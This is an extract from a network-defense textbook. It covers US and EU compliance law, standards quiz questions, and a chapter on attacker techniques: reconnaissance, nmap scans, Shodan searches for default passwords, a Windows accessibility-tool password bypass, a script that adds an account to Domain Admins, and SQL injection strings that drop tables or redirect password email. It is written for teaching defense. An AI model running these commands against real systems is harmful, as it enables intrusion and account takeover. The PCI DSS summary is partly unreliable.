The HIPAA Privacy Rule, also called the Standards for Privacy of Individually Identifiable Health Information, provided the first nationally recognizable regulations for the use/disclosure of an individual's health information. Essentially, the Privacy Rule defines how covered entities use individually identifiable health information, or the PHI (Personal Health Information). *Covered entities* is a term often used in HIPAA-compliant guidelines.

HITECH

The Health Information Technology for Economic and Clinical Health Act (HITECH) was passed as part of the American Recoveries and Reinvestment Act of 2009. HITECH makes several significant modifications to HIPAA. These changes include the following:

- Creating incentives for developing a meaningful use of electronic health records
- Changing the liability and responsibilities of business associates
- Redefining what a breach is
- Creating stricter notification standards
- Tightening enforcement
- Raising the penalties for a violation
- Creating new code and transaction sets

Sarbanes-Oxley (SOX)

The Sarbanes-Oxley legislation came into force in 2002 and introduced major changes to the regulation of financial practice and corporate governance. Named after Senator Paul Sarbanes and Representative Michael Oxley, who were its main architects, it also set a number of deadlines for compliance.

The legislation affects not only the financial side of corporations, but also the IT departments whose job it is to store a corporation's electronic records. The Sarbanes-Oxley Act states that all business records, including electronic records and electronic messages, must be saved for "not less than five years." The consequences for non-compliance are fines, imprisonment, or both.

Computer Fraud and Abuse Act (CFAA): 18 U.S. Code § 1030

This law is perhaps one of the most fundamental computer crime laws, and merits careful study by anyone interested in the field of computer crime. The primary reason to consider this legislation as pivotal is that it was the first significant federal legislation designed to provide some protection against computer-based crimes. Prior to this legislation, courts relied on common law definitions and adaptations of legislation concerning traditional, non-computer crimes in order to prosecute computer crimes.

Throughout the 1970s and early 1980s, the frequency and severity of computer crimes increased, as we have seen in the preceding two chapters. In response to this growing problem, the Comprehensive Crime Control Act of 1984 was amended to include provisions to specifically address the unauthorized access and use of computers and computer networks. These provisions made it a felony offense to access classified information in a computer without authorization. They also made it a misdemeanor offense to access financial records in a computer system.

However, these amendments were not considered in and of themselves to be adequate. Thus during 1985,

both the House and the Senate held hearings on potential computer crime bills. These hearings eventually culminated in the Computer Fraud and Abuse Act (CFAA), enacted by Congress in 1986, which amended 18 U.S.C. § 1030. The original goal of this act was to provide legal protection for computers and computer systems that were in one of the following categories:

- Under direct control of some federal entity
- Part of a financial institution
- Involved in interstate or foreign commerce

As you can see, this law was aimed at protecting computer systems that came within the federal purview. This act made several activities explicitly criminal. First and foremost was accessing a computer without authorization in order to obtain any of the following types of information:

- National security information
- Financial records
- Information from a consumer reporting agency
- Information from any department or agency of the United States

Fraud and Related Activity in Connection with Access Devices: 18 U.S. Code § 1029

This is closely related to 18 U.S.C. § 1030 but covers access devices (such as routers). Essentially this law mimics 1030 but applies to devices used to access systems. What is most fascinating about this law, in my opinion, is it also covers “counterfeit access devices.” Later in this book you will learn about rogue access devices and man-in-the-middle attacks. This law would expressly relate to that.

General Data Protection Regulation (GDPR)

This is a European Union law first created in 2016. Its entire purpose is to deal with data privacy. It applies to any entity (business, government agency, etc.) that either collects data or processes that data. Even if an organization is not within the EU, if it has EU data, then GDPR applies.

PCI DSS

The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information security standard for organizations that handle cardholder information for the major credit and debit cards. This industry regulation has several goals, and you can look up specific ones at https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2.pdf?agreement=true&time=1517432929990. The most important are listed (from that website) here:

1.1 Requirement: All merchants must protect cardholder information by installing a firewall and router system. Installing a firewall system provides control over who can access an organization's network and a router is a device that connects networks, and is therefore, PCI compliant.

- Program the standards of firewall and router to:
 1. Perform testing when configurations change
 2. Identify all connections to cardholder information
 3. Review configuration rules every six months
- Configure firewall to prohibit unauthorized access from networks and hosts and deny direct public access to any information about the cardholder. Additionally, install firewall

software on all computers that access the organization's PCI compliance network.

1.2 Requirement: Change all default passwords. Default passwords provided when first setting up software are discernible and can be easily discovered by hackers to access sensitive information.

2.1 Requirement: Cardholder data is any personal information about the cardholder that is found on the payment card and can never be saved by a merchant—this includes preserving encrypted authentication data after authorization. Merchants can only display the maximum of the first six and last four digits of the primary account number (PAN). If a merchant stores PAN, ensure that the data is secure by saving it in a cryptographic form.

2.2 Requirement: It is required that all information is encrypted when transmitting the data across public networks, such as the Internet, to prevent criminals from stealing the personal information during the process.

3.1 Requirement: Computer viruses make their way onto computers in many ways, but mainly through e-mail and other online activities. The viruses compromise the security of personal cardholder information on a merchant's computer, and

therefore anti-virus software must be present on all computers associated on the network.

3.2 Requirement: In addition to anti-virus software, computers are also susceptible to a breach in the applications and systems installed on the computer. Merchants must install vendor-provided security patches within a month of their release to avoid exposing cardholder data. Security alert programs, scanning services, or software may be used to signal the merchant of any vulnerable information.

4.1 Requirement: As a merchant, you must limit the accessibility of cardholder information. Install passwords and other security measurements to limit employees' access to cardholder data. Only employees who must access the information to complete their job are allowed to access the information.

4.2 Requirement: In order to trace employees' activities when accessing sensitive information, assign each user an unreadable password used to access the cardholder data.

4.3 Requirement: Monitor the physical access to cardholder data; do not allow unauthorized persons the opportunity to retrieve the information by securing printed information as well as digital. Destroy all outdated cardholder information.

Maintain a visitor log and save the log for at least three months.

5.1 Requirement: Keep system activity logs that trace all activity and review daily. The information stored in the logs is useful in the event of a security breach to trace employee activities and locate the source of the violation. Record entries reflect at a minimum: the user, event, date and time, success or failure signal, source of the affected data, and the system component.

5.2 Requirement: Each quarter, use a wireless analyzer to check for wireless access points to prevent unauthorized access. Also, scan internal and external networks to identify any possible vulnerable areas in the system. Install software to recognize any modification by unauthorized personnel. Additionally, ensure that all IDS/IPS engines are up to date.

If you process credit cards it is imperative that you be in compliance with this standard.

SUMMARY

Computer security has a theoretical foundation that should be studied in addition to the hands-on practical techniques and procedures. The U.S. Department of Defense has the Rainbow Series, a series of color-coded manuals that dictate every aspect of security. While largely supplanted, it is still worthy of study. We also examined ISO standards and industry standards such as COBIT.

The Common Criteria is another series of criteria formed by a merger of the criteria used by several different nations. This Common Criteria is also used to evaluate the security of systems, particularly systems that are intended for use by defense- or intelligence-related organizations.

Security can also be viewed from the perspective of different models. The Bell-LaPadula model, the Clark-Wilson model, and the Biba Integrity model all view data access as a relationship between subjects and objects. These models originated in the defense industry. The Chinese Wall model, on the other hand, originated in private business and views information security from a conflict of interest perspective. Finally, we examined the state machine model, which concerns itself with system transitions from one state to another.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. COBIT was published as what standard?
 - A. NIST SP 800-14
 - B. ISO/IEC 15408
 - C. ISO/IEC 17799:2005
 - D. NIST SP 800-35
2. Which U.S. standard covers risk assessment?
 - A. ISO 27037
 - B. NIST SP 800-30
 - C. ISO 27007
 - D. NIST SP 800-14
3. Which standard defines six phases of the IT security life cycle?
 - A. ISO 27007
 - B. NIST SP 800-30
 - C. NIST SP 800-35
 - D. ISO 27004
4. The _____ component of COBIT is one aspect of the standard that makes it relatively easy to

integrate other standards.

- A.** integration
- B.** control objectives
- C.** process description
- D.** framework

5. Which U.S. standard should you consult to guide you in developing security policies?

- A.** NIST SP 800-35
- B.** NIST SP 800-14
- C.** ISO 27004
- D.** ISO 27008

6. What international standard would you consult for managing incident response?

- A.** ISO 27035
- B.** NIST SP 800-35
- C.** NIST SP 800-14
- D.** ISO 27004

7. What Canadian standard was used as one basis for the Common Criteria?

- A.** ITSEC
- B.** Orange Book
- C.** CTCPEC

D. CanSec

8. The Common Criteria applies mostly to what types of system?

A. Home user systems

B. Military/intelligence systems

C. Business systems

D. Commercial systems

9. What is an EAL?

A. Evaluation authority level

B. Execution assurance load

C. Execution authority level

D. Evaluation assurance level

10. Which of the following model focuses on any transaction that changes the system's state?

A. Biba Integrity

B. ITSEC

C. Clark-Wilson

D. Bell-LaPadula

11. What does the concept of "write up" mean?

A. Writing files to a secure location

B. Sending data to an object at a higher security

level

C. Documenting security flaws

D. Logging transactions

12. Which of the following subject-object models introduced the element of programs?

A. Bell-LaPadula

B. Chinese Wall

C. Clark-Wilson

D. Biba Integrity

13. What is a Chinese wall, in the context of business practices?

A. A barrier to information flow within an organization

B. A highly secure network perimeter

C. A barrier to information flow between organizations

D. An A2-rated network perimeter

14. Which of the following models is based on the concept of conflict of interest?

A. Biba Integrity

B. State Machine

C. Chinese Wall

D. Bell-LaPadula

15. Which of the following models considers a system to be in a secure state when there is no instance of security breach at the time of state transition?

A. Clark-Wilson

B. State Machine

C. Bell-LaPadula

D. Chinese Wall

EXERCISES

EXERCISE 13.1: Understanding COBIT

- 1.** Read the COBIT description in this chapter, and use online resources.
- 2.** Write a brief description of COBIT in your own words.

EXERCISE 13.2: Using NIST SP 800-30

- 1.** Using NIST SP 800-30, outline how you would perform a risk assessment for a small network.

EXERCISE 13.3: Applying the Common Criteria

1. Using the web or other resources, find out what the Common Criteria guiding philosophy is. (Hint: It is clearly stated as such in the CC documentation.)
2. Find some examples of organizations that use the Common Criteria.
3. What are some advantages and disadvantages of the Common Criteria?
4. What situations are most appropriate for the Common Criteria?

EXERCISE 13.4: The Biba Integrity Model

1. Using the web or other resources, identify the company that created the Biba Integrity model. (Hint: Web searches on Biba Integrity model will reveal websites that include this detail.)
2. What was the original purpose of the development of this model?
3. Identify companies or organizations that use this model today.
4. What are some advantages and disadvantages of this model?
5. What situations are most appropriate for this

model?

PROJECTS

Note: These projects are meant to guide the student into exploring other security models and standards.

PROJECT 13.1: Applying ITSEC

Using various resources including websites listed below, find the following information about ITSEC:

- Is the system still being used?
- If so, where?
- On what areas of security does the system focus?
- What are some advantages and disadvantages of this system?

The following websites may help:

- IT Security Dictionary:
www.rycombe.com/itsec.htm
- The Information Warfare Site:
www.iwar.org.uk/comsec/resources/standards/itsec.htm
- ITSEC Criteria: www.boran.com/security/itsec.htm

PROJECT 13.2: CTCPEC

Using various resources including websites listed below, look up information on CTCPEC, and find answers to the following questions:

- Is the system still being used?
- If so, where?
- On what areas of security does the system focus?
- What are some advantages and disadvantages of this system?

The following websites may help:

- Computer Security Evaluation FAQ:
www.opennet.ru/docs/FAQ/security/evaluations.html
- Canadian Communications Security:
[http://www.acronymfinder.com/Canadian-Trusted-Computer-Product-Evaluation-Criteria-\(CTCPEC\).html](http://www.acronymfinder.com/Canadian-Trusted-Computer-Product-Evaluation-Criteria-(CTCPEC).html)

PROJECT 13.3: The Common Criteria

Using the web and other resources, write a brief essay on the Common Criteria. Feel free to elaborate on areas that interest you, but your paper must address the following questions:

- What is the current version being used?

- When was it released?
- How does this version define the scope of security?
- What industry certifications use the common criteria?

Chapter 15

Techniques Used by Attackers

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Understand the basic techniques used by hackers.
- Be able to formulate strategies to defend against common attacks.
- Understand how to use some hacking tools.

INTRODUCTION

This book is about network defense. However, I am a strong proponent of the idea that you should “know your enemy.” Put another way, how can you truly defend against attacks if you do not understand those attacks? I often advise network security students to become familiar with at least the basics of hacking techniques. The purpose of this chapter is to introduce you to the basics. No, reading this chapter won’t make you a skilled hacker, but that is not the goal. What it will do for you is make you familiar with some common attacks. If you wish to delve deeper into this topic, I suggest the book *Penetration Testing Fundamentals: A Hands-On Guide to Reliable Security Audits*, also from Pearson IT Certification.

Before you can try to understand the mentality of the hacking community you must first know what the term *hacker* means. Most people use it to describe any person who breaks into a computer system. In the hacking community, however, a hacker is an expert on a particular system or systems, a person who simply wants to learn more about the system. Hackers feel that looking at a system’s flaws is the best way to learn about that system. For example, someone well-versed in the Linux operating system who works to understand that system by learning its weaknesses and flaws would be a

hacker.

This process does often mean seeing whether a flaw can be exploited to gain access to a system. This “exploiting” part of the process is where hackers differentiate themselves into three groups:

- A *white hat hacker* is usually called a penetration tester today. It is someone who is hacking with permission of the owners of the target system. This is actually a good idea. Have a skilled person test your network’s defenses.
- A *black hat hacker* is the person normally depicted in the media. After she gains access to a system, her goal is to cause some type of harm. She might steal data, erase files, or deface websites. Black hat hackers are sometimes referred to as *crackers*.
- A *gray hat hacker* is normally a law-abiding citizen, but in some cases will venture into illegal activities. Some sources give an alternative definition, of someone who was formerly a black hat hacker and has changed.

Regardless of how hackers view themselves, intruding on any system without permission of the system owner is illegal. Also, regardless of the motivation behind the intrusion, the methods are usually the same.

PREPARING TO HACK

Skilled hackers rarely simply start an attack. They first want to gather information about the target before attacking. This is akin to a skilled bank robber first casing the bank to learn all he can before actually trying to rob it. A skilled hacker wants to understand everything he can about the target organization and its system. This preparation phase is important. It is also a reason why a security-conscious organization should be very careful about what information is allowed in public.

Passively Searching for Information

The first step in any computer attack is a passive search. This is any attempt to gather information that does not actually involve connecting to the target system. If the target system has firewall logs, an intrusion detection system (IDS), or similar capabilities, then an active scan might alert the company. The first step is to simply search the web for the organization in question. You might discover that it has an announcement stating a move to a new router model, or that it uses IIS 7.0 for its web server. Any information about the target system enables the attacker to narrow his search for vulnerabilities. In the second example, he can now simply search for “security flaws in IIS 7.0” or some similar search term.

The possibility also exists that the attacker will learn about people in the organization. Knowing actual names, phone numbers, office locations, and so on can aid in a social engineering attack. The more information one has on a target organization, the easier the attack will be.

Several websites can help with this. The website www.netcraft.com, shown in [Figure 15-1](#), can provide information about a target web server.

Netcraft

Site report for www.chuckeasttom.com

Search...

Lookup another URL:

Share:

Netcraft Extension

- Home
- Download Now!
- Report a Phish
- Site Report
- Top Reporters
- Incentives for reporters
- Phishiest TLDs
- Phishiest Countries
- Phishiest Hosters
- Phishiest Certificate Authorities
- Phishing Map
- Takedown Map
- Most Popular Websites
- Branded Extensions
- Tell a Friend

Phishing & Fraud

- Phishing Site Feed
- Hosting Phishing Alerts

Background

Site title	Chuck Easttom - Consultant	Date first seen	October 2001
Site rank		Primary language	English
Description	Not Present		
Keywords	Not Present		

Network

Site	http://www.chuckeasttom.com	Netblock Owner	701 First Ave
Domain	chuckeasttom.com	Nameserver	hidden-master.yahoo.com
IP address	67.195.61.46	DNS admin	geo-support@yahoo-inc.com
IPv6 address	Not Present	Reverse DNS	p10pn-i.geo.vip.gq1.yahoo.com
Domain registrar	unknown	Nameserver organisation	unknown

FIGURE 15-1 Netcraft.com

This website gives information regarding the web server and operating system being used by a specific website. This helps the attacker to decide what sort of attack to attempt. The attacker might also be able to see the last time the system was rebooted. Patches and upgrades often require a reboot, so this information will tell him whether the system has been patched recently. Best of all, from the intruder's point of view, this is all done without the attacker directly accessing the target system.

One can also get a lot of information from the website <https://archive.org> (see [Figure 15-2](#)). This website archives all the websites on the Internet. You can then view how that website looked at a previous point in time.

By looking at older versions of the website an attacker might learn of changes in the company. For example, if the company lists personnel and it shows a different security director every year, that information is very useful. It shows high turnover. That means the current director is new, might not fully understand the systems, and also might be more focused on keeping his job than on the details of security.

Frankly, any information you find on the web might be useful. Disgruntled employees might complain in a chat room. Perhaps technical personnel like to discuss problems/issues on discussion boards, and in doing so reveal key information about the target system.




FIGURE 15-2 Archive.org

Active Scanning

Although passive scanning can yield a lot of useful information, at some point the attacker needs to do an active scan, which involves some level of actual connection to the target system. It is the most likely to be detected, but also the most likely to yield actionable information. Several types of active scanning exist:

- **Port scanning:** This is a process of scanning the

1024 well-known ports or even all the ports (there are 65,535) and seeing which ports are open. This can tell an attacker a great deal. For example, port 161 indicates the target is using Simple Network Management Protocol, which might provide a vulnerability that can be exploited. Port 88 tells an attacker that the target system uses Kerberos authentication.

- **Enumerating:** This is a process whereby the attacker tries to find out what is on the target network. Items such as shared folders, user accounts, and similar items are sought after. Any of these can provide a point of attack.
- **Vulnerability assessment:** This is the use of some tool to seek out known vulnerabilities. The attacker might also try to manually assess vulnerabilities. The latter can be done in many ways. We discuss one of these methods later in this section.

A number of tools are freely available on the Internet for active scanning. They range from the very simple to the complex. Anyone involved in preventing computer crimes or investigating computer crimes should be familiar with a few of these. We will examine a few of them later in this section.

When you are doing a port scan, you have a number of options. The most common types of scans and their limitations are as follow:

- **Ping scan:** This scan sends a ping packet to the target IP address. This is to check to see whether a given port is open. The problem with ping scanning is that many firewalls block ICMP packets. Internet Control Message Protocol (ICMP) is the protocol used by `ping` and `tracert` (tracert for Unix/Linux users).
- **Connect scan:** This type of scan actually tries to make a full connection to the target IP address at a given port. This is the most reliable type of scan. It will not yield false positives or false negatives. However, it is the scan most likely to be detected by the target network.
- **SYN scan:** This scan is based on knowledge of how network connectivity works. Any time you connect to any server an exchange of packets negotiates the connection. Your machine sends a packet with a SYN flag, which means *synchronize*. Basically, you are asking permission to connect. The server responds with a packet that has a SYN-ACK flag, a synchronize-acknowledge. That is the server saying “ok, you can connect.” Your computer then sends a packet with an ACK flag, acknowledging the new

connection. A SYN scan simply sends a connection request to each port. This is to check to see whether the port is open. Because servers and firewalls routinely get SYN packets, this is unlikely to trigger any alarms on the target system.

- **FIN scan:** This scan has the FIN flag, or connection finished flag, set. This is also usually not going to attract unwanted attention at the target network because connections are being closed routinely, so packets with the FIN flag set are not unusual.

Other scans include the Null scan, with no flags set, and the XMAS scan, with several flags set. Whatever the specific scan used, most will leave some trace of the attack in the server or firewall logs.

NSAuditor

NSAuditor is a popular and flexible tool. It can be challenging for a novice to learn. You can download a free trial at <http://www.NSAuditor.com/>. The full version is \$69 USD. The opening screen, shown in [Figure 15-3](#), should make obvious the additional choices that are available.




FIGURE 15-3 NSAuditor opening screen

Let’s take a look at some of the more commonly used options. Click Network Scanner to open it; see [Figure 15-4](#).




FIGURE 15-4 NSA Auditor Network Scanner

You can also select the type of scan, as shown in [Figure 15-5](#).




FIGURE 15-5 Selecting scan type

You can also set the aggressiveness level of the scan, as shown in [Figure 15-6](#). The aggressiveness level determines how many times per minute to scan ports, as well as how many ports to simultaneously scan. The more aggressive the scan, the quicker the results, but the more likely one is to trigger an alarm on the target system.




FIGURE 15-6 Scan aggressiveness level

The ability to select both the type of scan and the level of aggressiveness is one thing that makes NSAuditor such a flexible and useful tool.

On the Tools drop-down menu is Remote Explorer, shown in [Figure 15-7](#).

The Remote Explorer tool allows you to attempt to connect to another computer either using your current log-on credentials or some others. This tool is excellent for simply trying to connect and checking to see whether

you can access a remote system.




FIGURE 15-7 Remote Explorer

Enumerating

Enumeration is simply finding out what computers, shared folders, and users are on a given network or machine. It requires connection to that target machine or network. Many of the port scanners mentioned also allow the attacker to perform enumeration. Tools are also available that just do enumeration. Let's first look at the enumeration capabilities within NSAuditor. If you search under Tools, you will find a button labeled Enumerate Computers, shown in [Figure 15-8](#).



FIGURE 15-8 NSAuditor Enumerate Computers button

Click it to see a number of choices as to what you want to enumerate, as shown in [Figure 15-9](#).




FIGURE 15-9 NSAuditor enumeration choices

You can choose to enumerate all computers, or just the domain controller, or servers, or MS SQL database servers. As you can see you have a number of choices. When you run the enumerator the output is in XML format as shown in [Figure 15-10](#).




FIGURE 15-10 NSAuditor enumeration results

You can see that a great deal of information is provided about every computer on that network. You get a list of all the computers on the network, and you can see what services they are running. Any running service is a potential attack vector.

Other enumeration products enumerate only one thing. For example, ShareEnum, available for download from <https://docs.microsoft.com/en-us/sysinternals/downloads/shareenum>, simply tries to find all shared folders on the network. This can be

useful because a shared folder is a possible attack vector for the hacker to use. You can see ShareEnum in [Figure 15-11](#).




FIGURE 15-11 ShareEnum

Another good enumeration tool is FreeNetEnumerator, also available from the NSAuditor website. It has a simple, easy-to-use interface, which you can see in [Figure 15-12](#).




FIGURE 15-12 FreeNetEnumerator

You can see that FreeNetEnumerator provides the same information NSAuditor provides, but in an easy-to-read format (see [Figure 15-13](#)). This tool is made for someone who is a novice at enumeration.




FIGURE 15-13 FreeNetEnumerator results

These are just a few enumeration tools available on the Internet. After an attacker has access to your network, then he can use one of these tools to map out the rest of the network and learn what computers, servers, shared

folders, and users are on that network. He can also learn what operating system is being used on each machine. This valuable information enables the attacker to plan out his attack.

Nmap

Nmap (Network Mapper) is the most widely used port scanning tool. It is used by attackers, network administrators, and penetration testers. It is a free download from <https://nmap.org/>. There is also a GUI version named ZenMap.

Nmap also lets you set a number of flags (either with the command-line version of Nmap or the Windows version) that customize your scan. The allowed flags are listed here:

- O Detects operating system
- sP Ping scan
- sT TCP connect scan
- sS SYN scan
- sF FIN scan
- sX Xmas tree scan
- sN NULL scan
- sU UDP scan

- sO Protocol scan
- sA ACK scan
- sW Windows scan
- sR RPC scan
- sL List/DNS scan
- sI Idle scan
- Po Don't ping
- PT TCP ping
- PS SYN ping
- PI ICMP ping
- PB TCP and ICMP ping
- PM ICMP netmask
- oN Normal output
- oX XML output
- oG Greppable output
- oA All output
- T Timing:
 - T0 Paranoid
 - T1 Sneaking
 - T2 Polite

- T3 Normal
- T4 Aggressive
- T5 Insane

Here are some very basic Nmap scans, starting with the scan of a single IP address:

```
nmap 192.168.1.1
```

Scan a range of IP addresses:

```
nmap 192.168.1.1-20
```

Scan to detect operating system, use TCP scan, and use sneaky speed:

```
nmap -O -PT -T1 192.168.1.1
```

Shodan.io

This website is a search engine for vulnerabilities. It finds public-facing IP addresses (web servers, routers, etc.) that have some vulnerability. You can find the website at <https://www.shodan.io/>. You need to sign up for a free account to use it, but then it can be invaluable to a pen tester trying to identify vulnerabilities. You can also be sure that attackers use this site as well. You can see the website in [Figure 15-14](#).




FIGURE 15-14 Shodan.io

There are many options you can use in searching with Shodan.io, some of which are given here:

- Search for default passwords:

default password country:US

default password hostname:chuckeasttom.com

default password city:Chicago

- Find Apache servers:

apache city:"San Francisco"

- Find webcams:

webcamxp city:Chicago

OLD IIS

"iis/5.0"

The preceding list offers examples of search terms, including filters. The filters you can use include

- **city:** Find devices in a specific city

- **country:** Find devices in a specific country

- **geo:** Search based on coordinates (i.e., latitude and longitude)

- **hostname:** Find values that match a specific

hostname

- **net:** Search based on an IP or /x CIDR
- **os:** Search based on operating system
- **port:** Find particular ports that are open
- **before/after:** Find results within a timeframe

As an example, [Figure 15-15](#) shows the results for my `search default password city:Miami`.




FIGURE 15-15 Shodan search results

When you are performing a penetration test, it is a good idea to search the company domain for anything you can find via Shodan. This can guide your penetration testing efforts, and again you can be sure that would-be attackers will use this tool. You can restrict your search to the hostname or domain name of the client who has hired you to conduct a penetration test. You can seek out default passwords, old web servers, unsecure web cameras, and other vulnerabilities in the target network.

Manual Scanning

There are also manual ways to scan a system for vulnerabilities. Perhaps the most commonly used is the telnet command, which works in Linux or Windows and is used to attempt to connect to a machine in order to perform administrative tasks. By default, telnet uses port 23. However, you can attempt to telnet into any port you want. You simply open a command window, and type in `telnet`, the address or URL you want to telnet into, and the port number. It will look something like what you see in Figure 15-16.




FIGURE 15-16 telnet

This is an excellent scanning tool because it not only tells you whether a port is open, but also tells you whether you can log on to that port, thus providing the attacker a way into the system. The results could be one of two:

- You are informed you could not connect.
- The screen goes blank, indicating it is ready for commands (that is, you did connect).

Even if you can connect, you still might only have very limited access. The next thing a hacker will attempt, if this is a web server, is to retrieve the banner so that he knows for certain what operating system is being used. You do that by typing in `HEAD /HTTP/1.0` and then pressing Enter twice. If the retrieval is successful the hacker will know precisely what operating system is being used.

THE ATTACK PHASE

After passive scanning, port scanning, enumerating, and gathering information about the target site, the attacker will be ready to actually attack the target system. This is the part where he or she applies the knowledge gained in the scanning phases.

Physical Access Attacks

If an attacker can physically sit in front of any machine connected to your network, there are a number of ways he can use that to gain access to your entire network. His first step is simply to be able to log on to that machine. He need not be able to log on to the network yet, just that machine. Let's look at a few techniques that would allow an attacker to log on to a machine, even if he does not have a password.

Bypassing the Password

One exciting way to break into Windows computers is to simply bypass the password all together. You don't find out what the password is; you just skip it. It basically requires about 5 minutes at the workstation with a Linux live CD. Here are the steps:

1. Use any Linux boot disk. Some people prefer one distribution over another but it really does not

matter.

2. Boot to the CD.

- 3.** After booting into Linux, find and access the NTFS volume (that is, the Windows volume). The following commands will do this (note your NTFS volume might not be sda1; this is just used for an example):

[Click here to view code image](#)

```
fdisk -l | grep NTFS
mkdir -p /mnt/windows
mount -t ntfs-3g /dev/sda1 /mnt/windows
```

- 4.** Move to the Windows System 32 directory and make a backup copy of the magnify application. This is shown here:

[Click here to view code image](#)

```
cd /mnt/windows/Windows/System32
mv Magnify.exe Magnify.bck
```

- 5.** Make a copy of cmd.exe (the command prompt) and change its name to Magnify.exe:

[Click here to view code image](#)

```
cp cmd.exe Magnify.exe and reboot
```


6. Reboot into Windows (whatever version is on that workstation). When the machine boots up, instead of logging in, choose Accessibility Options and Magnifier.

What launches is a command prompt with system-level privileges.

Using OphCrack

One popular tool for getting into a machine locally is OphCrack, which you can download from <http://ophcrack.sourceforge.net/>. It is based on an understanding of how Windows passwords work. Windows passwords are stored in a hash file in one of the system directories, usually `C:\WINDOWS\system32\config\` in a Security Accounts Manager (SAM) file. Because the file contains hashed entries, you could not simply read the usernames and passwords. If you simply try random passwords, most systems will lock you out after a few tries, so it would be great if you could get the SAM file away from Windows and try to crack it. However, it is a locked file. The operating system will not let you copy it or do anything with it. What OphCrack does is boot the system in Linux so that the Windows operating system is not loaded, and the SAM file is not protected. It then uses a process called a rainbow table to crack the entries in the SAM. A rainbow table is a table of all possible hashes of all possible character combinations. OphCrack just searches the SAM for a match. When it finds it, it knows the username and password, as shown in [Figure 15-17](#).




FIGURE 15-17 OphCrack

Note that this screenshot was taken from a live machine, so all nonstandard user accounts and all passwords have been redacted. To make this work, all you have to do is put the CD into the system and reboot. During the boot-up process, press F12 for a boot menu, then choose Boot from CD. After the attacker has a valid login account, particularly an administrator account, he

can log on to that computer. This won't let him join the domain, but he now has a foothold on your network.

Tricking Tech Support

After gaining access to a local account, perhaps using one of the techniques mentioned earlier, the attacker will want to get domain admin privileges. The `net user` command can help do this via the following two-line script:

[Click here to view code image](#)

```
net user /domain /add localaccountname password  
net group /domain "Domain Admins" /add localaccount
```

By saving that script in the All Users startup folder and getting a domain admin to log on to this machine, the script will run (in the background, not visible) and the local account will now be a domain admin. How do you get a domain admin to log on? In many organizations, the tech support personnel are in the domain admin group. So the attacker now merely needs to do something to render the machine not fully operational. When a tech support person logs on to fix that problem, the script runs.

Remote Access Attacks

Obviously, physical access to a workstation on the target network is not always possible. Although remote attacks are far less likely to succeed, they still have the potential to succeed. A number of possible remote attack methods exist, but this section focuses on a couple of the most common: SQL injection and cross-site scripting.

SQL Injection

SQL injection is a popular attack against web applications. A login screen requires a username and password, which must be checked against a database to see whether they are valid. All databases speak Structured Query Language (SQL). If the programmer who created the login is not careful it might be susceptible to SQL injection. Here is how that attack works. SQL looks a lot like English. For example, to check a username and password an intruder might want to query the database and see whether any entry in the users table matches the username and password that was entered. If there is, then a match exists. The SQL in the programming code for the website has to use quotation marks to separate the SQL code from the programming code. So you might have something that looks like this:

[Click here to view code image](#)

```
'SELECT * FROM tblUsers WHERE USERNAME = '' + txtUser
```

Entering username 'admin' and password 'password' code produces the SQL command:

[Click here to view code image](#)

```
SELECT * FROM tblUsers WHERE USERNAME = 'admin' AND P
```

SQL injection adds something at the end of the password. For example, entering 'password ' OR X=X' causes the program to create this query:

[Click here to view code image](#)

```
SELECT * FROM tblUsers WHERE USERNAME = 'admin' AND P
```

This tells the database and application to allow login if there is a match for a username and password, or if X=X, which it always will. Now if the programmer wrote the login properly, this method will not work—but in all too many cases it does work. And then the intruder has logged into your web application and can do whatever any authorized user can do.

After the attacker has logged in, he might want to

enumerate the other accounts rather than just the first by putting this in the username box (and keeping the password box the same). Assuming the first user found was named 'john', then finding the next user with this SQL statement is possible with

[Click here to view code image](#)

```
' or '1' ='1 and firstname <> 'john
```

or by trying

[Click here to view code image](#)

```
' or '1' ='1 and not firstname = 'john
```

Obviously, `firstname` might not be a name of a column in that database. An intruder might have to try various permutations to get one that works. Also remember MS Access and SQL Server allow multi-word column names with brackets (that is, `[First Name]`) but MySQL and PostGres do NOT accept brackets.

An attacker can continue this method with other names blocked (as he finds them) by putting these names in the username box (keeping the password box the same):

[Click here to view code image](#)

```
' or '1' ='1 and firstname <> 'john' and firstname <>
```

or by trying:

[Click here to view code image](#)

```
' or '1' ='1 and not firstname = 'john' and not first
```

Beyond enumerating users, one can send over pretty much any SQL statements. Here are a few examples:

```
x'; DROP TABLE users; --
```

rather than ' or '1' ='1 that deletes the table 'users'.

Many database servers have built-in e-mail; one can get the server to e-mail the password as follows:

[Click here to view code image](#)

```
x'; UPDATE members SET email = 'me@somewhere.net' WHE
```

SQL injection is a serious problem. However, you can easily counter it by simply having all user input filtered or using parameterized queries. However, it still is a top vulnerability in websites, according to OWASP. And

what you see in this section is only the most basic version of SQL injection. Far more can be done with SQL injection.

Cross-Site Scripting

An attacker injects a client-side script into web pages viewed by other users. The term *cross-site scripting* originally referred to the act of loading the attacked, third-party web application from an unrelated attack site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain.

Essentially, an attacker enters scripts into an area that other users interact with, so that when they go to that part of the site, the attacker's script runs, rather than the intended website functionality. This can include redirecting users.

WI-FI HACKING

Wi-Fi is obviously a target for attack. Given its easy accessibility, it is likely that any attacker will at least attempt to breach your Wi-Fi. There are several common attacks you should be familiar with. Each of these can present a danger to your network.

■ **Jamming:** This involves simply attempting to jam

the Wi-Fi signal so that users cannot get on the wireless network. This is essentially a denial of service attack on the wireless access point.

- **De-authentication:** This is sending a de-authentication or logoff packet to the wireless access point. The packet will spoof the user's IP address. This can be done in order to trick the user into then logging in to the rogue access point.
- **WPS attack:** Wi-Fi Protected Setup (WPS) uses a PIN to connect to the wireless access point. The WPS attack attempts to intercept that PIN in transmission, connect to the WAP, and then steal the WPA2 password.
- **Cracking the password:** Actually, breaking the encryption is usually not something that is likely to succeed. However, cracking bad Wi-Fi passwords is certainly possible.

SUMMARY

As you can see, hackers can use a number of techniques to compromise your system, and this chapter has shown just a few of them. Some require physical access to some machine on your network, others are remote attacks. Increased awareness of these attack methods leads to better defense against them. Spending some time studying hacking techniques is advisable for all network security professionals.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. What does the following command do?

[Click here to view code image](#)

```
Telnet <IP Address> <Port 80>  
HEAD /HTTP/1.0  
<Return>  
<Return>
```

- A. This command returns the home page for the IP address specified.
- B. This command opens a backdoor telnet

session to the IP address specified.

